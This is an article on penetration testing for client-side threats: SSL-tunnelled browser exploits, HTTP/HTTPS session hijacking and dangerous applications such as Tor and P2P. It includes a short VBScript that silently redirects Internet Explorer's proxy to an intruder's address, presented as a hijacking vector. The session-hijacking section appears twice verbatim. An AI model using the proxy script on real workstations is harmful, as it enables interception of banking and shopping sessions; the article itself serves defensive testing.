Client-side Vulnerability Assessment

By Mariusz Stawowski – ISSA member, Poland Chapter

This article describes the penetration testing guidelines for client-side threats that commonly used security technologies find difficult to mitigate: web browser attacks conducted in encrypted SSL tunnels, HTTP/HTTPS sessions hijacking, and use of dangerous applications.

Abstract

This article describes the penetration testing guidelines for client-side threats that commonly used security technologies find difficult to mitigate: web browser attacks conducted in encrypted SSL tunnels, HTTP/HTTPS sessions hijacking (i.e., e-commerce and e-banking user’s transactions), and use of dangerous applications (e.g., file and desktop sharing). The advice for the security administrator is to change focus from the servers only to the entire network that contains user workstations that could be vulnerable and when attacked allow intruders to access sensitive company information.

Security teams normally concentrate on IT assets at the servers, tightly protecting the network perimeters, and implementing internal security layers around the servers. As a result, intruders are now paying closer attention to client-side vulnerabilities on users’ workstations. Nowadays the security assessments should contain both server and client-side penetration testing.

A client-side vulnerability generally takes the form of unpatched software on a desktop, laptop, or PDA. Use of dangerous applications is another client-side threat that should be given close consideration (e.g., file and desktop sharing). Intruders that exploit client-side vulnerabilities and gain unauthorized access to a user’s workstation often also gain access to the company’s sensitive information and can hijack the user’s application sessions.

Once a computer is compromised, an attacker could establish a backdoor to infiltrate further into the company’s backend networks and servers. This article provides guidelines for security administrators on how to use simple tools and conduct penetration testing to practically verify or challenge the effectiveness of implemented safeguards in the scope of client-side attacks.

Attacks in encrypted tunnels

Web browsers are popular targets of client-side attacks. An attacker can exploit a browser by convincing the user to visit a malicious website (e.g., sending the user a job offer or other interesting data with a URL link to detailed information). In most cases the intrusion prevention systems as well as network and desktop content security systems (i.e., antivirus, anti-spyware, anti-malware) effectively detect and block known web browser exploits conducted in the HTTP protocol. Smart intruders however use evasion techniques and traffic encryption to make the attack detection more difficult. In practice it is easier to convince people to visit a malicious website when it is accessible with “secure” HTTPS protocol that most computer users consider to be “trusted.” Worse still, it is not a problem for a malicious intruder to secure a “legitimate” SSL
certificate issued by trusted Certificate Authority (CA). However, even without a certificate from a trusted CA, the attacks are likely to succeed as many users do not notice or choose to ignore the web browser’s message about the site’s certificate.

For commonly used security technologies (i.e., stateful inspection firewalls, intrusion prevention systems, antivirus) web browsers attacks conducted in encrypted SSL sessions are invisible. Effective protection can be achieved by very restrictive firewall policy that allows HTTPS access only to limited number of trusted sites. When for any business reasons HTTPS cannot be restricted, the companies should deploy adequate safeguards (e.g., next-generation firewalls) that decrypt outgoing SSL traffic and inspect it in full scope, i.e., intrusion prevention, anti-spyware, and antivirus.

Security assessments in the scope of encrypted client-side attacks can be easily conducted using a web server to publish a page containing exploits injected by vulnerability exploitation tools and SSL VPN gateway tunneling the attacks in SSL. For example, Apache Tomcat, Metasploit, and SSL-Explorer can be used for this purpose. The test concept is presented in Figure 1. The user connects to the SSL VPN gateway and accesses the webpage containing code injected by Metasploit. The code contains the exploits for web browsers and a payload that installs a backdoor on the user’s computer. As a result, the exploits for the user’s web browser are sent in an encrypted tunnel. Table 1 contains the testing tool’s required configuration settings. The test objective is not only to determine if endpoint systems are vulnerable to client-site attacks but also to practically assess if IT security means can properly detect and block this type of attacks.

**Hijacking user’s application sessions**

An intruder gaining access to a user’s workstation can perform many harmful activities, e.g., copy or modify data, reveal the company’s confidential information, attack other systems in the internal network, or block IT services. For the cybercriminals a valuable target is the user’s money. Many people transfer money using Internet bank accounts and send credit card numbers to online stores, hotels, etc. Hijacking and manipulating the users’ web (HTTP/HTTPS) sessions is a big threat. According to the Internet Crime Complaint Center thousands of Internet users have been victims of such attacks.

There are many break-in scenarios. The intruders can release network worms that sniff for the user’s credentials. They can redirect the users’ web sessions to fake e-banking or e-commerce systems (i.e., pharming attack manipulating DNS service on the servers or local settings in hosts file). However, the simplest form of this attack is setting a web proxy on the user’s workstation to an IP address of the intruder’s system running an intercepting proxy. Such proxies are commonly used in the security assessments of web application vulnerabilities – see Open Web Application Security Project (OWASP) testing methods. Intercepting a proxy allows the intruder to change selected content of HTTP and HTTPS sessions (e.g., change bank account number). The web proxy can be set on the user’s computer using a simple script (e.g., sent by email or executed using previously described web browser attacks). For example, the following script sets web proxy in Microsoft Internet Explorer application (script file should have .vbs extension).

```vbs
set x = WScript.CreateObject("Wscript.Shell")
x.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 1, "REG_DWORD"
x.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer", "10.10.10.200:80", "REG_SZ"
set x = Nothing
```

Security assessment in the scope of web sessions hijacking can be easily conducted using Burp intercepting proxy (many other freeware solutions are available). A web browser on internal user’s workstation should have the proxy configured to the external IP address where Burp is located. Then the user opens an HTTPS session to an e-commerce or e-banking system. The test verifies the reaction of the network safeguards. Properly designed and implemented safeguards should detect and block web-proxy connections to external IP addresses. The test concept is described in Figure 2. Table 1 contains Burp required configuration settings.

**Hijacking user’s application sessions**

An intruder gaining access to a user’s workstation can perform many harmful activities, e.g., copy or modify data, reveal the company’s confidential information, attack other systems in the internal network, or block IT services. For the cybercriminals a valuable target is the user’s money. Many people transfer money using Internet bank accounts and send credit card numbers to online stores, hotels, etc. Hijacking and manipulating the users’ web (HTTP/HTTPS) sessions is a big threat. According to the Internet Crime Complaint Center thousands of Internet users have been victims of such attacks.

There are many break-in scenarios. The intruders can release network worms that sniff for the user’s credentials. They can redirect the users’ web sessions to fake e-banking or e-commerce systems (i.e., pharming attack manipulating DNS service on the servers or local settings in hosts file). However, the simplest form of this attack is setting a web proxy on the user’s workstation to an IP address of the intruder’s system running an intercepting proxy. Such proxies are commonly used in the security assessments of web application vulnerabilities – see Open Web Application Security Project (OWASP) testing methods. Intercepting a proxy allows the intruder to change selected content of HTTP and HTTPS sessions (e.g., change bank account number). The web proxy can be set on the user’s computer using a simple script (e.g., sent by email or executed using previously described web browser attacks). For example, the following script sets web proxy in Microsoft Internet Explorer application (script file should have .vbs extension).

```vbs
set x = WScript.CreateObject("Wscript.Shell")
x.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable", 1, "REG_DWORD"
x.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer", "10.10.10.200:80", "REG_SZ"
set x = Nothing
```

Security assessment in the scope of web sessions hijacking can be easily conducted using Burp intercepting proxy (many other freeware solutions are available). A web browser on internal user’s workstation should have the proxy configured to the external IP address where Burp is located. Then the user opens an HTTPS session to an e-commerce or e-banking system. The test verifies the reaction of the network safeguards. Properly designed and implemented safeguards should detect and block web-proxy connections to external IP addresses. The test concept is described in Figure 2. Table 1 contains Burp required configuration settings.

![Figure 2 – Test concept of HTTP/HTTPS session hijacking attack](image-url)
Network security is based on the firewalls that separate the network into security zones and control communications between them, according to implemented policy. The principle task of the firewall is to enforce the fundamental security principle – least privilege. By design the firewall security policy describes every permitted protocol and application, and all protocols and applications that are not explicitly allowed in the policy should be blocked. That was true some years ago when the network applications were developed in compliance with “old-school” good practices, i.e., every application in the network should have its own unique port number (tcp, udp). Firewalls based on stateful inspection were able to control the applications by permitting or blocking network traffic destined to the ports assigned to these applications.

Currently the situation is different – most of new network applications (e.g., chat, file sharing, multimedia) utilize HTTP and HTTPS protocol as well as dynamically assigned port numbers. “New-school” good practice in application development creates an application that operates in the network regardless of implemented security. More than 60% of available applications are hidden from stateful inspection firewalls. IT staff responsible for network security experience big problems controlling new applications like Skype or BitTorrent. Many of these applications can be dangerous, e.g., P2P allows for file sharing, web conferencing allows for desktop sharing, etc. Tor allows the users to bounce applications’ communication around a distributed network of relays run by volunteers on the Internet. As a result the users can access Internet services anonymously (i.e., invisible for the network safeguards). Using Tor the users without public addresses can publish their services on the Internet from behind the company’s firewalls.

Application control is an essential requirement of IT security standards (ISO 27001, PCI, etc.). ISO 27001 states that users should only be provided with access to the services that they have been specifically authorized to use (A.11.4.1. policy on use of network services). Compliance with the security standards in the scope of applications control can be achieved in two ways:

1. Restrictive firewall policy allows HTTPS access only to limited number of trusted sites.
2. Intrusion prevention system or web content security system scans HTTP traffic and
blocks dangerous applications (e.g., P2P, file and desktop sharing) as well as SSL-tunneling and other traffic that is not compliant with HTTP protocol. Direct access to the Internet from the users’ workstations is blocked (i.e., an access to Internet services is possible only through web proxy, DNS, and email servers located in dedicated security zones that are controlled by appropriate safeguards).

2. When for any business reasons HTTPS access cannot be restricted to trusted sites only, the company should deploy adequate safeguards (e.g., next-generation firewalls) that regardless of port number decrypt outgoing SSL traffic and inspect it in full scope, i.e., intrusion prevention, anti-spyware and antivirus.

Security assessments with the scope of controlling dangerous applications can be conducted using real applications. An administrator from a company’s internal workstation should simply run Skype, smart P2P (e.g., Azureus), a web session covered by Tor, and a web conferencing session with a desktop sharing option and verify if the company’s safeguards detect and block these dangerous applications. Administrators should be aware that enabling IPS signatures for dangerous applications does not mean that the applications will be blocked. Many of these applications can switch into encrypted mode that the IPS cannot inspect. Only practical tests can verify if the safeguards are really effective.

Summary
The article described the penetration testing guidelines for client-side threats that commonly used security technologies find difficult to mitigate, i.e., web browser attacks conducted in encrypted SSL tunnels, HTTP/HTTPS sessions hijacking, and use of dangerous applications (i.e., file and desktop sharing). There are many other possible testing scenarios that could be conducted during client-side security assessment, e.g., email message or HTTP/FTP session carrying malicious application to verify effectiveness of the anti-malware system, email message asking the recipient to visit a website or to reveal passwords to verify the employees’ security awareness, etc. The advice for the security administrators is to change focus from the servers-only to the entire network that considers users workstations that could be vulnerable and when attacked allow intruders to run rampant throughout the network and access sensitive company information. Bottom line: security assessments should perform both server and client-side penetration testing.

About the Author
Mariusz Stawowski, Ph.D., CISSP, PRINCE2, is Director of Professional Services of CLICO, a security technologies distributor and service provider located in Poland. For more than 10 years he has been responsible for management of security projects. Mariusz can be contacted at mstawow@clico.pl.